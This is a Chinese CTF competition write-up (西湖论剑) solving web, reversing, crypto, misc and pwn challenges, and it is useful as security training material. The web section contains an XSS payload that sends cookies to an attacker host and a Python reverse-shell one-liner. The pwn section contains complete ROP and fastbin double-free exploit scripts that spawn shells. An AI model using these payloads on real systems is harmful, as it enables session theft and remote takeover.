西湖论剑线上 writeup

西湖论剑

太菜了最后只有18名
都怪我划水
还是得夸aris和liano太强了

WEB

web1

<?php
//index.php
$a = @$_GET['file'];
if (!$a) {
    $a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
    die('nonono');
}
include $a;

hint :dir.php

//dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

用dir.php可以看根目录文件


image

flag在这里
然后直接用index.php读
就得到flag了

猜猜flag是什么

根目录下有.DS_Store 泄露,脱下来可以发现一下内容:

image

继续扫描 /e10adc3949ba59abbe56e057f20f883e/ 这个目录发现有 .git 泄露

githack 获得一个加密压缩包BackupForMySite.zip,不过我们有他里面的部分内容:index.php lengzhu.jpg。那么用明文攻击解开压缩包,明文压缩包要用bindzip来压缩。。。

里面的 hint 带有激活码,并且说 flag 在 /flag/seed.txt(直接访问说NAIVE)

输入到主页中用get请求,参数为code=激活码 就可以得到一个数字
既然说是seed 那么猜测为 php 的随机数种子。

使用php_mt_seed 将上一步拿到的数字丢进去跑,爆破出seed的值

访问/flag/${seed}.txt 就可以获得flag了

Breakout

插进留言版

<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:window.location.href='http://xxxx:8000/?a='+document.cookie"

report页面提交留言板地址,验证码脚本:

import hashlib

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

for i in range(1000000000):
    if md5(str(i))[0:6] == '7751c4':
        print(i)
        break

然后拿到cookie后替换,反弹shell到自己的服务器上:

command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1

flag在根目录下的flag.txt

RE

easyCPP

根据名字就很容易看出是个斐波那契数列了,他先取你输入的第一个和后面每个相加,再倒序之后得是从1开始的15个斐波那契数,于是逆一下得出输入
987 -377 -610 -754 -843 -898 -932 -953 -966 -974 -979 -982 -984 -985 -986 -986

testre

base58改都没改=-=一把梭

>>> import base58
>>> base58.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
'base58_is_boring'

Junk_Instruction

动调题,ida载入半天也找不到啥东西=。=果断掏出OD下API断点找到关键函数sub_402600
由于还有花指令,不如继续动调,跟了一会,找到了像是rc4的S-box,盲猜
[0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]就是密文
qwertyuiop是key,然后解个rc4,嗯?错了?倒个序,嗯,看来是没错=。=

from Crypto.Cipher import ARC4

key = 'qwertyuiop'
a = [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]
enc = ''
for i in a:
    enc += chr(i)
rc4 = ARC4.new(key)
print(rc4.decrypt(enc)[::-1])

Crypto

哈夫曼之谜

就是哈夫曼编码,刚巧上半年数据结构作业的代码还在:

/**
 *
 * @class TreeNode
 */
class TreeNode {
  constructor(weight = 0, item = "") {
    this.item = item;
    this.weight = weight;
    this.lNode = null;
    this.rNode = null;
  }
}

/**
 *
 * @class huffmanTree
 */
class huffmanTree {
  constructor(text) {
    this.root = null;
    this.generate(text);
  }
  generate(text) {
    const countFreqs = function(text) {
      let freqs = {};
      for (let char of text) {
        if (!freqs[char]) {
          freqs[char] = 0;
        }
        freqs[char]++;
      }
      return freqs;
    };
    const createhuffmanTree = function(data) {
      if (data.length === 1) return data[0];
      data
        .sort(function(node1, node2) {
          return node1.weight - node2.weight;
        })
        .reverse();
      let lNode = data.pop();
      let rNode = data.pop();
      let newNode = new TreeNode(lNode.weight + rNode.weight, "");
      newNode.lNode = lNode;
      newNode.rNode = rNode;
      data.push(newNode);
      return createhuffmanTree(data);
    };
    let freqs = countFreqs(text);
    let data = [...new Set(text.split(""))].map(function(item) {
      return new TreeNode(freqs[item], item);
    });
    this.root = createhuffmanTree(data);
  }
}

/**
 *
 * @class HuffmanCode
 */
class HuffmanCode {
  constructor() {
    this.codeTable = {};
    this.tree = null;
  }

  /**
   *
   * @param {*} text
   * @memberof HuffmanCode
   */
  encode(text) {
    const traverseTree = function(node, arr, code) {
      if (node.lNode !== null && node.rNode != null) {
        traverseTree(node.lNode, arr, code + "0");
        traverseTree(node.rNode, arr, code + "1");
      }
      arr[node.item] = code;
    };
    this.tree = new huffmanTree(text);
    traverseTree(this.tree.root, this.codeTable, "");
    delete this.codeTable[""];
    let res = "";
    for (let i of text) {
      res += this.codeTable[i];
    }
    console.log(res);
  }

  /**
   *
   * @param {*} text
   * @memberof HuffmanCode
   */
  decode(text) {
    let count = 0;
    let res = "";
    const decodeNode = node => {
      if (count > text.length) return null;
      if (node.lNode === null && node.rNode === null) {
        res += node.item;
        decodeNode(this.tree.root);
      } else {
        if (text[count] === "1") {
          count++;
          decodeNode(node.rNode);
        } else {
          count++;
          decodeNode(node.lNode);
        }
      }
    };
    decodeNode(this.tree.root);
    console.log(res);
  }
}
let text = "ddddddddd5555555550000000aaaafffff{gl}";
let huffmanCode = new HuffmanCode();
huffmanCode.encode(text);
huffmanCode.decode("11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110");

字符的权重对应字符的个数,先encode生成Huffman树,再把给出的密文decode一下就好了。相同权重的字符可能会有左右节点的顺序差别,手动交换一下他们在字符串text 中的顺序即可
最后解得flag为 flag{ddf5dfd0f05550500a5af55dd0d5d0ad}

Misc

奇怪的TTL字段

发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中

fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i[4:]))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
# print(s)

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255

写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

应该就是AutoKey那个加密了,找了个在线网站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag{2028ab39927df1d96e6a12b03e58002e}

最短的路

flag{ 只跟 E3 有联系


image

75D}只跟 FloraPrice 有联系
正好可以找 和 FloraPrice 和E3有联系的
在列表翻一下正好找到
EvelynJefferson
flag: E3EvelynJeffersonE9FloraPrice75D

PWN

story

基础题,利用格式化字符串leak canary之后栈溢出ROP

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'story'

if local:
    cn = process('./story')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
    cn = remote('ctf2.linkedbyx.com',10885)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('')

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

prdi = 0x0000000000400bd3 
prsi = 0x0000000000400bd1 


cn.sendlineafter('ID:','%15$p')
cn.recvuntil('0x')
canary = int(cn.recvline()[:-1],16)
success('canary:'+hex(canary))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(prdi) + p64(bin.got['puts']) +p64(bin.plt['puts'])
buf+= p64(0x4009A0)
cn.sendline(buf)
cn.recvline()
cn.recvline()
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
success('lbase:'+hex(lbase))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(0x4526a+lbase)+p64(0)*0x10
cn.sendline(buf)


cn.interactive()


'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''

noinfoleak

说是noinfoleak,但其实很容易就能leak信息。。。就是个普通的fastbin题,和第一题比说实话值不了300分(当然第一题也是抄的,就很emmmm)

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0
binary_name = 'noinfoleak'

if local:
    cn = process('./noinfoleak')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
    cn = remote('ctf1.linkedbyx.com',10446)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)


bin = ELF('./'+binary_name,checksec=False)


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(sz,con):
    sla('>','1')
    sla('>',str(sz))
    sla('>',con)

def dele(idx):
    sla('>','2')
    sla('>',str(idx))

def edit(idx,con):
    sla('>','3')
    sla('>',str(idx))
    sa('>',con)


add(0x30,'/bin/sh\x00')#0
add(0x20,'bbb')#1
add(0x20,'ccc')#2

dele(1)
dele(2)
dele(1)

add(0x20,p64(0x6010a0))#3
add(0x20,'ddd')#4
add(0x20,'eee')#5
add(0x20,p64(0x601018))#6
# z('c')
edit(1,p64(bin.plt['puts']))
edit(6,p64(bin.got['puts']))
dele(1)
lbase =u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
edit(6,p64(bin.got['free']))
edit(1,p64(lbase+libc.sym['system']))
dele(0)

cn.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,772评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,458评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,610评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,640评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,657评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,590评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,962评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,631评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,870评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,611评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,704评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,386评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,969评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,944评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,179评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,742评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,440评论 2 342

推荐阅读更多精彩内容

  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,490评论 0 2
  • Web babyt3 登录看到: 尝试文件包含: 得到源码: 读取dir.php的源码: 得到源码: 构造去查看根...
    Eumenides_62ac阅读 3,640评论 4 3
  • 张培_阅读 154评论 0 0
  • 张爱玲曾感慨: 如果情感和岁月也可以轻轻撕碎,扔到海中,那么,我愿意从此就在海底沉默。 你的言语,我爱听,却不懂...
    Mi坚果阅读 414评论 0 0
  • 追逐那一抹倩丽的身姿,拨开了草丛,向前望去,眼前是那株百合花。几片简简单单的白花瓣微微聚拢,便是它的主色调...
    四叶草的梦阅读 659评论 1 6